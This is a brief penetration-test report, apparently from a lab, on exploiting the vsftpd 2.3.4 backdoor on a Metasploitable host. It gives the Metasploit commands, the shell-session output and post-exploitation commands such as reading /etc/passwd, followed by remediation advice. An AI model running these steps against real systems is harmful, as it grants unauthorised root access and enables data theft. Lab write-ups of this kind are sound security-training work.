Vulnerability Assessment Report:
vsftpd 2.3.4 Backdoor Exploitation

Jack Marquina (mrjack)

April 5, 2025

Target Summary

- **Target IP:** 192.168.150.133
- **Service:** FTP
- **Version:** vsftpd 2.3.4
- **Exploit Module:** `exploit/unix/ftp/vsftpd_234_backdoor`
- **Payload:** Command shell (TCP)

Exploit Overview

The vulnerability in `vsftpd 2.3.4` allows an attacker to gain root shell access by triggering a malicious backdoor built into the binary. When a username ending with `:)` is used, the backdoor opens a shell on TCP port 6200.

Steps to Exploit

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.150.133
msf6 exploit(...) > run
```

Output:

```
[*] 192.168.150.133:21 - Sending backdoor command...
[*] 192.168.150.133:21 - Attempting to trigger the backdoor...
[*] Command shell session 1 opened (192.168.150.131:40129 -> 192.168.150.133:6200)
```

Proof of Compromise

```
whoami
> root

id
> uid=0(root) gid=0(root)

hostname
> metasploitable

uname -a
> Linux metasploitable 2.6.24-16-server #1 SMP ...

cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  ...
```

Impact

Successful exploitation grants root shell access to the system, allowing complete control. The attacker can pivot, exfiltrate data, or maintain persistent access.

Recommendation

Upgrade `vsftpd` to a non-vulnerable version. Do not use version 2.3.4. Consider firewalling unused ports and enabling service monitoring.

References

- CVE-2011-2523: https://nvd.nist.gov/vuln/detail/CVE-2011-2523
- Rapid7 Exploit DB: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor